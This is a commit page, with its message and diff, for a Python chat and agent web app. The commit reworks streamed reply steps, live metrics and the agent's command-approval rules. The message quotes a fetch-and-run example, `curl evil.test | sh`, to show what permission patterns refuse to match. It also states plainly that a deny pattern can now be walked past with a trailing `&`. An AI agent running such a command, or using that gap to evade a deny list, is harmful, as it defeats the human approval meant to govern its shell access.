A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
+111
-26
@@ -37,6 +37,7 @@ from lembas.services import generation as generation_service
|
||||
from lembas.services import interaction, settings_store, sse
|
||||
from lembas.services import metrics as metrics_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services import steps as steps_service
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.agent import policy as agent_policy
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
@@ -51,6 +52,13 @@ router = APIRouter(prefix="/api/chats", tags=["chats"])
|
||||
# Well under nginx's 60s default; see services/sse.py:KEEPALIVE.
|
||||
KEEPALIVE_AFTER = 15.0
|
||||
|
||||
# How often the metrics chips are re-sent when nothing else has changed. The
|
||||
# reply's version does not move while a tool runs on the far machine, but its
|
||||
# clock does, so without this the counts and tokens/second stand still for most
|
||||
# of a long agent reply's wall time. A second is slow enough to be free and fast
|
||||
# enough that the numbers read as live.
|
||||
METRICS_INTERVAL = 1.0
|
||||
|
||||
# How many prompts may wait behind a reply at once. The terminal panel's Auto
|
||||
# send is what this exists for: a `for` loop in a shell can produce commands
|
||||
# faster than any model answers them, and a bound with a sentence attached is
|
||||
@@ -833,10 +841,30 @@ async def stream_message(
|
||||
)
|
||||
|
||||
|
||||
def _tool_activity(events: list[dict], *, live: bool = True) -> str:
|
||||
"""Render the tool block. Whole, never a delta, like every other frame."""
|
||||
return templates.get_template("chat/_tool_activity.html").render(
|
||||
{"tool_events": events, "live": live}
|
||||
def _step_html(message_id: str, step) -> str:
|
||||
"""One closed step of a running reply.
|
||||
|
||||
`SimpleNamespace` for the message, as `_canvas_tabs` already does for the
|
||||
chat: the partial wants an id to build its element ids from and nothing
|
||||
else, and there is no `Message` in scope here -- the row is not written
|
||||
until the reply ends. `reasoning_ms` is only known then too, so a live step
|
||||
says "Thought" and the stored one says how long for.
|
||||
"""
|
||||
return templates.get_template("chat/_step.html").render(
|
||||
{"step": step, "message": SimpleNamespace(id=message_id, reasoning_ms=0)}
|
||||
)
|
||||
|
||||
|
||||
def _steps_tail_html(message_id: str) -> str:
|
||||
"""The two containers the live thinking and prose are swapped into.
|
||||
|
||||
Sent as part of the `steps` frame rather than as a frame of its own, which
|
||||
is how the tail clears when a round closes: what was being written is now a
|
||||
step above, and re-emitting these empty is what stops it also showing below.
|
||||
It means `reasoning` and `render` can keep their never-blank guard.
|
||||
"""
|
||||
return templates.get_template("chat/_steps_tail.html").render(
|
||||
{"message": SimpleNamespace(id=message_id, reasoning_ms=0)}
|
||||
)
|
||||
|
||||
|
||||
@@ -846,7 +874,7 @@ def _ask_html(chat_id: str, pending) -> str:
|
||||
Returns "" when there is nothing pending, and the frame is sent
|
||||
unconditionally, because this is one of the few blocks that has to be able
|
||||
to *clear* itself: the card must vanish the moment it is answered.
|
||||
`reasoning`, `tools` and `render` are the opposite -- guarded by truthiness
|
||||
`reasoning`, `render` and `steps` are the opposite -- guarded by truthiness
|
||||
so a frame can never blank them.
|
||||
"""
|
||||
if pending is None:
|
||||
@@ -882,25 +910,52 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
|
||||
another chat -- leaves the reply being written, and reconnecting replays
|
||||
the whole state immediately rather than starting over.
|
||||
|
||||
Both `render` and `reasoning` carry the complete block each time rather
|
||||
than a delta, which is what makes reattaching mid-reply work at all: a
|
||||
follower arriving late has no earlier fragments to append to.
|
||||
Every frame carries the complete block each time rather than a delta, which
|
||||
is what makes reattaching mid-reply work at all: a follower arriving late has
|
||||
no earlier fragments to append to.
|
||||
|
||||
The split is along **closed versus open**, not along kind. `steps` carries
|
||||
every step that has finished and moves only when a round ends; `reasoning`
|
||||
and `render` carry the step still being written and move at streaming speed.
|
||||
That is what makes this affordable: the old `tools` frame re-rendered every
|
||||
tool call in the reply twelve times a second, against an output budget of a
|
||||
megabyte, so a long agent reply spent most of its wall time re-rendering its
|
||||
own transcript. `rendered` below is a render cache and not a wire protocol --
|
||||
it starts empty for every follower, so one attaching mid-reply still receives
|
||||
the whole prefix in its first frame.
|
||||
|
||||
The order within one pass is load-bearing: `steps` before `reasoning` and
|
||||
`render`, because `steps` carries the containers those two are swapped into.
|
||||
htmx re-registers `sse-swap` on content it swaps in, which is the same
|
||||
property the approval card's buttons already rely on.
|
||||
"""
|
||||
generation = generation_service.ensure(chat_id, message_id)
|
||||
generation.followers += 1
|
||||
seen = -1
|
||||
last_frame = time.monotonic()
|
||||
last_metrics = 0.0
|
||||
# The HTML of every step already rendered, and how many *marks* that covers.
|
||||
# Two counters and not one: a mark can produce up to three steps -- thinking,
|
||||
# prose, tools -- so the length of the list is not an index into the marks.
|
||||
rendered: list[str] = []
|
||||
marks_done = 0
|
||||
|
||||
try:
|
||||
while True:
|
||||
if generation.version != seen:
|
||||
seen = generation.version
|
||||
if generation.thinking:
|
||||
yield sse.event("reasoning", escape_text(generation.thinking))
|
||||
if generation.tool_events:
|
||||
yield sse.event("tools", _tool_activity(generation.tool_events))
|
||||
if generation.content:
|
||||
yield sse.event("render", render_markdown(generation.text))
|
||||
if len(generation.steps) > marks_done:
|
||||
for step in steps_service.closed_from(generation, since=marks_done):
|
||||
rendered.append(_step_html(message_id, step))
|
||||
marks_done = len(generation.steps)
|
||||
yield sse.event(
|
||||
"steps", "".join(rendered) + _steps_tail_html(message_id)
|
||||
)
|
||||
thinking_tail, text_tail = steps_service.tail(generation)
|
||||
if thinking_tail:
|
||||
yield sse.event("reasoning", escape_text(thinking_tail))
|
||||
if text_tail:
|
||||
yield sse.event("render", render_markdown(text_tail))
|
||||
if generation.canvas.get("tabs"):
|
||||
# Guarded on truthiness, which puts this in the
|
||||
# reasoning/tools/render group and not the
|
||||
@@ -917,7 +972,18 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
|
||||
yield sse.event("metrics", _metrics_html(generation))
|
||||
yield sse.event("status", escape_text(generation.status))
|
||||
yield sse.event("ask", _ask_html(chat_id, generation.pending))
|
||||
last_frame = time.monotonic()
|
||||
last_frame = last_metrics = time.monotonic()
|
||||
|
||||
# On a clock as well as on a change, because the version does not
|
||||
# move while a tool runs -- there is no `touch()` inside
|
||||
# `_run_calls` -- and a five-minute build on the far side is exactly
|
||||
# when somebody looks at these numbers to see whether anything is
|
||||
# happening. The elapsed clock is advancing throughout, so tok/s has
|
||||
# to be allowed to fall; frozen chips beside a spinner read as a
|
||||
# hang. One small swap a second, and only while the reply is live.
|
||||
elif time.monotonic() - last_metrics > METRICS_INTERVAL:
|
||||
yield sse.event("metrics", _metrics_html(generation))
|
||||
last_frame = last_metrics = time.monotonic()
|
||||
|
||||
if generation.done:
|
||||
break
|
||||
@@ -949,7 +1015,6 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
|
||||
final_html = templates.get_template("chat/_message.html").render(
|
||||
{
|
||||
"message": message,
|
||||
"body_html": render_markdown(message.content),
|
||||
"chat": chat,
|
||||
# Passed even though an assistant bubble never reads it: the
|
||||
# template shares both roles, and a missing `user` would only
|
||||
@@ -985,9 +1050,6 @@ def _render_bubble(db: DBSession, chat: Chat, owner: User | None, message: Messa
|
||||
return templates.get_template("chat/_message.html").render(
|
||||
{
|
||||
"message": message,
|
||||
"body_html": (
|
||||
render_markdown(message.content) if message.role == ROLE_ASSISTANT else ""
|
||||
),
|
||||
"chat": chat,
|
||||
"user": owner,
|
||||
"models_by_id": {m.model_id: m for m in chat_service.available_models(db, None)},
|
||||
@@ -1138,7 +1200,6 @@ async def cancel_edit(
|
||||
"chat": chat,
|
||||
"user": user,
|
||||
"message": message,
|
||||
"body_html": "",
|
||||
"models_by_id": {},
|
||||
},
|
||||
)
|
||||
@@ -1383,8 +1444,9 @@ async def answer_interaction(
|
||||
# about to run rather than the one the model asked for. Remembering the
|
||||
# proposed one would grant a standing permission nobody approved.
|
||||
remembered = 0
|
||||
unmatchable = 0
|
||||
if verdict == interaction.ALLOW_ALWAYS:
|
||||
remembered = _remember_always(
|
||||
remembered, unmatchable = _remember_always(
|
||||
db,
|
||||
chat,
|
||||
generation_service.pending_items(chat.id, interaction_id),
|
||||
@@ -1415,13 +1477,33 @@ async def answer_interaction(
|
||||
}
|
||||
}
|
||||
)
|
||||
elif unmatchable:
|
||||
# Otherwise this is a button that silently did nothing, which is the
|
||||
# failure the rest of this feature was arranged to avoid. It is allowed
|
||||
# to store nothing -- a composed command line must never become a
|
||||
# standing permission -- but it is not allowed to say nothing.
|
||||
response.headers["HX-Trigger"] = json.dumps(
|
||||
{
|
||||
"lembas:notify": {
|
||||
"message": (
|
||||
"Allowed once. A command line that runs more than one thing "
|
||||
"cannot be stored as a rule, so this chat will ask again."
|
||||
)
|
||||
}
|
||||
}
|
||||
)
|
||||
return response
|
||||
|
||||
|
||||
def _remember_always(
|
||||
db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None
|
||||
) -> int:
|
||||
"""Record what "always allow" was said about. Returns how many were new.
|
||||
) -> tuple[int, int]:
|
||||
"""Record what "always allow" was said about.
|
||||
|
||||
Returns (how many were new, how many could not be stored at all). The second
|
||||
is what the caller turns into a toast: `subject` yields nothing for a
|
||||
composed command line, so pressing the button on one is right to store
|
||||
nothing and wrong to say nothing.
|
||||
|
||||
The pattern is derived **here**, and still never taken from the request as a
|
||||
pattern: `answers` carries the command a person may have corrected on the
|
||||
@@ -1444,6 +1526,7 @@ def _remember_always(
|
||||
entries = list(scope.get("allow") or [])
|
||||
written = answers or {}
|
||||
added = 0
|
||||
unmatchable = 0
|
||||
|
||||
for item in items:
|
||||
if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS:
|
||||
@@ -1452,7 +1535,10 @@ def _remember_always(
|
||||
if item.editable:
|
||||
detail = (written.get(item.key) or "").strip() or item.detail
|
||||
pattern = agent_policy.subject(item.tool_name, detail)
|
||||
if not pattern or pattern in entries:
|
||||
if not pattern:
|
||||
unmatchable += 1
|
||||
continue
|
||||
if pattern in entries:
|
||||
continue
|
||||
entries.append(pattern)
|
||||
added += 1
|
||||
@@ -1463,7 +1549,7 @@ def _remember_always(
|
||||
chat.scope_json = {**scope, "allow": entries}
|
||||
db.commit()
|
||||
log.info("chat %s will stop asking about %d action(s)", chat.id, added)
|
||||
return added
|
||||
return added, unmatchable
|
||||
|
||||
|
||||
@router.post("/{chat_id}/allow/clear")
|
||||
@@ -1713,7 +1799,6 @@ async def regenerate(
|
||||
"request": request,
|
||||
"message": message,
|
||||
"chat": chat,
|
||||
"body_html": "",
|
||||
"user": user,
|
||||
"models_by_id": {
|
||||
m.model_id: m for m in chat_service.available_models(db, user)
|
||||
|
||||
Reference in New Issue
Block a user